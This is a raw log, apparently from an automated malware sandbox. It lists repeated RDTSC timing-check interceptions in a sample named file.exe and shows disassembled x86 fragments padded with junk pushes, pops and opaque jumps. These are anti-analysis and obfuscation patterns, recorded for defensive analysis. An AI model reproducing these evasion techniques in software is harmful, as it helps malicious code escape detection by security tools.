Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100D7E0 second address: 100D7E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100D7E8 second address: 100D825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F8264D3C909h 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007F8264D3C8FAh 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 popad 0x00000016 js 00007F8264D3C910h 0x0000001c jc 00007F8264D3C902h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100D825 second address: 100D82B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1010F49 second address: 1010F60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C8FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1010F60 second address: 1010F70 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1010F70 second address: 1010F75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011088 second address: 101108C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101108C second address: 10110B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007F8264D3C905h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101412C second address: 1014130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014130 second address: 101413C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jo 00007F8264D3C8F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101413C second address: 1014146 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F8264EBD7A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1019464 second address: 1019490 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C904h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8264D3C8FCh 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007F8264D3C8F6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101817A second address: 1018180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1018180 second address: 101819B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jne 00007F8264D3C8F6h 0x0000000c jno 00007F8264D3C8F6h 0x00000012 jne 00007F8264D3C8F6h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101819B second address: 10181AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8264EBD7ACh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10181AD second address: 10181C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F8264D3C8F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jne 00007F8264D3C8F6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10181C7 second address: 10181CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10181CB second address: 10181DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C8FBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10181DA second address: 10181E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10181E0 second address: 10181E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10181E6 second address: 10181EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101890B second address: 101893E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C904h 0x00000007 push edx 0x00000008 je 00007F8264D3C8F6h 0x0000000e pop edx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007F8264D3C8FAh 0x00000017 push eax 0x00000018 push edx 0x00000019 jg 00007F8264D3C8F6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101893E second address: 1018956 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264EBD7B4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE33B1 second address: FE33BB instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8264D3C8FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE33BB second address: FE33F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 jmp 00007F8264EBD7ACh 0x0000000c lea eax, dword ptr [ebp+12479098h] 0x00000012 mov cx, 8870h 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F8264EBD7B5h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE33F0 second address: FCB2BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C8FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F8264D3C8F8h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 call dword ptr [ebp+122D266Eh] 0x0000002c jng 00007F8264D3C90Ch 0x00000032 jg 00007F8264D3C8FEh 0x00000038 push edx 0x00000039 jc 00007F8264D3C8F6h 0x0000003f pop edx 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 push eax 0x00000044 pop eax 0x00000045 jmp 00007F8264D3C904h 0x0000004a jnp 00007F8264D3C8F6h 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE35D1 second address: FE35DB instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8264EBD7A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE396D second address: FE3977 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8264D3C8FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3A2D second address: FE3A31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3A31 second address: E3DA4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C902h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c sub edi, dword ptr [ebp+122D3721h] 0x00000012 push dword ptr [ebp+122D08BDh] 0x00000018 jc 00007F8264D3C8F6h 0x0000001e call dword ptr [ebp+122D1E5Eh] 0x00000024 pushad 0x00000025 mov dword ptr [ebp+122D19C5h], esi 0x0000002b xor eax, eax 0x0000002d pushad 0x0000002e mov edi, dword ptr [ebp+122D3655h] 0x00000034 push ebx 0x00000035 mov edi, esi 0x00000037 pop edi 0x00000038 popad 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d mov dword ptr [ebp+122D2497h], eax 0x00000043 mov dword ptr [ebp+122D38B5h], eax 0x00000049 cmc 0x0000004a mov esi, 0000003Ch 0x0000004f jmp 00007F8264D3C8FCh 0x00000054 mov dword ptr [ebp+122D24C3h], edx 0x0000005a add esi, dword ptr [esp+24h] 0x0000005e mov dword ptr [ebp+122D24C3h], eax 0x00000064 lodsw 0x00000066 sub dword ptr [ebp+122D1C0Eh], ebx 0x0000006c add eax, dword ptr [esp+24h] 0x00000070 jnl 00007F8264D3C8FCh 0x00000076 mov ebx, dword ptr [esp+24h] 0x0000007a mov dword ptr [ebp+122D24C3h], ebx 0x00000080 mov dword ptr [ebp+122D1C0Eh], eax 0x00000086 nop 0x00000087 pushad 0x00000088 js 00007F8264D3C90Ah 0x0000008e jmp 00007F8264D3C904h 0x00000093 push ecx 0x00000094 push esi 0x00000095 pop esi 0x00000096 pop ecx 0x00000097 popad 0x00000098 push eax 0x00000099 pushad 0x0000009a pushad 0x0000009b jmp 00007F8264D3C903h 0x000000a0 push eax 0x000000a1 push edx 0x000000a2 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3CCB second address: FE3CE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8264EBD7B2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3D76 second address: FE3DA1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jne 00007F8264D3C8F6h 0x00000012 jmp 00007F8264D3C908h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3DA1 second address: FE3DC9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8264EBD7B8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3DC9 second address: FE3DE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C909h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3DE6 second address: FE3E0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8264EBD7B7h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE43F5 second address: FE43FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE43FE second address: FE4402 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE45AA second address: FE45B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE45B0 second address: FE45B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE45B4 second address: FE45B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE47B5 second address: FE47B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE47B9 second address: FE47BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE47BD second address: FE47C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE48D8 second address: FE48DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE48DC second address: FE4945 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8264EBD7A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jl 00007F8264EBD7AEh 0x00000011 push ebx 0x00000012 je 00007F8264EBD7A6h 0x00000018 pop ebx 0x00000019 nop 0x0000001a mov dword ptr [ebp+12450BF0h], ecx 0x00000020 lea eax, dword ptr [ebp+12479098h] 0x00000026 push 00000000h 0x00000028 push ecx 0x00000029 call 00007F8264EBD7A8h 0x0000002e pop ecx 0x0000002f mov dword ptr [esp+04h], ecx 0x00000033 add dword ptr [esp+04h], 00000015h 0x0000003b inc ecx 0x0000003c push ecx 0x0000003d ret 0x0000003e pop ecx 0x0000003f ret 0x00000040 mov ecx, 704C00DCh 0x00000045 mov dword ptr [ebp+122D2261h], ebx 0x0000004b jmp 00007F8264EBD7AAh 0x00000050 nop 0x00000051 jng 00007F8264EBD7AAh 0x00000057 push eax 0x00000058 pushad 0x00000059 popad 0x0000005a pop eax 0x0000005b push eax 0x0000005c push ebx 0x0000005d push eax 0x0000005e push edx 0x0000005f push edx 0x00000060 pop edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE4945 second address: FE4949 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE4949 second address: FCBE04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F8264EBD7A8h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 call 00007F8264EBD7ADh 0x00000027 pushad 0x00000028 mov edi, dword ptr [ebp+124789FFh] 0x0000002e jl 00007F8264EBD7A6h 0x00000034 popad 0x00000035 pop edi 0x00000036 call dword ptr [ebp+122D25E0h] 0x0000003c push eax 0x0000003d push edx 0x0000003e push ecx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCBE04 second address: FCBE1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 jmp 00007F8264D3C904h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCBE1F second address: FCBE3A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8264EBD7B5h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCBE3A second address: FCBE3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCBE3E second address: FCBE42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101CE13 second address: 101CE4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 jp 00007F8264D3C907h 0x0000000d pop edx 0x0000000e pushad 0x0000000f jmp 00007F8264D3C909h 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101CE4F second address: 101CE66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8264EBD7ACh 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D275 second address: 101D2A5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jg 00007F8264D3C8F6h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F8264D3C906h 0x00000019 jng 00007F8264D3C8F6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D5C3 second address: 101D5CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D840 second address: 101D84A instructions: 0x00000000 rdtsc 0x00000002 je 00007F8264D3C8F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D84A second address: 101D856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10237BE second address: 10237C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10237C4 second address: 10237D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 je 00007F8264EBD7A6h 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10237D1 second address: 10237D8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102246D second address: 1022481 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F8264EBD7A6h 0x0000000e jo 00007F8264EBD7A6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1022481 second address: 1022485 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1022485 second address: 102249E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8264EBD7ABh 0x0000000d jo 00007F8264EBD7A6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1022A45 second address: 1022A6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8264D3C907h 0x00000009 popad 0x0000000a pushad 0x0000000b jg 00007F8264D3C8F6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1022A6A second address: 1022A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1022A70 second address: 1022A84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jnc 00007F8264D3C8F6h 0x00000011 push edx 0x00000012 pop edx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1022A84 second address: 1022ABD instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8264EBD7C2h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8264EBD7B1h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1022188 second address: 10221A5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8264D3C8F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F8264D3C903h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10230A2 second address: 10230B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8264EBD7A6h 0x0000000a pop ebx 0x0000000b pushad 0x0000000c jc 00007F8264EBD7AEh 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10230B8 second address: 10230D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F8264D3C8FCh 0x0000000a pushad 0x0000000b jnp 00007F8264D3C8F6h 0x00000011 jnc 00007F8264D3C8F6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D5D4 second address: 102D5E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8264EBD7B0h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA648F second address: FA649B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8264D3C8F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA649B second address: FA64D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jnp 00007F8264EBD7A6h 0x0000000e js 00007F8264EBD7A6h 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F8264EBD7B9h 0x0000001f jp 00007F8264EBD7A6h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA64D4 second address: FA64F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C906h 0x00000007 jo 00007F8264D3C8F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C02F second address: 102C039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8264EBD7A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C388 second address: 102C39B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F8264D3C8F6h 0x0000000d jno 00007F8264D3C8F6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C4E0 second address: 102C4E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C4E4 second address: 102C4EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C4EA second address: 102C4F5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jc 00007F8264EBD7A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C4F5 second address: 102C4FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C4FE second address: 102C502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C502 second address: 102C506 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C782 second address: 102C7A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8264EBD7AEh 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007F8264EBD7ADh 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C7A4 second address: 102C7B1 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8264D3C8F8h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102CA0C second address: 102CA29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8264EBD7B9h 0x00000009 rdtsc
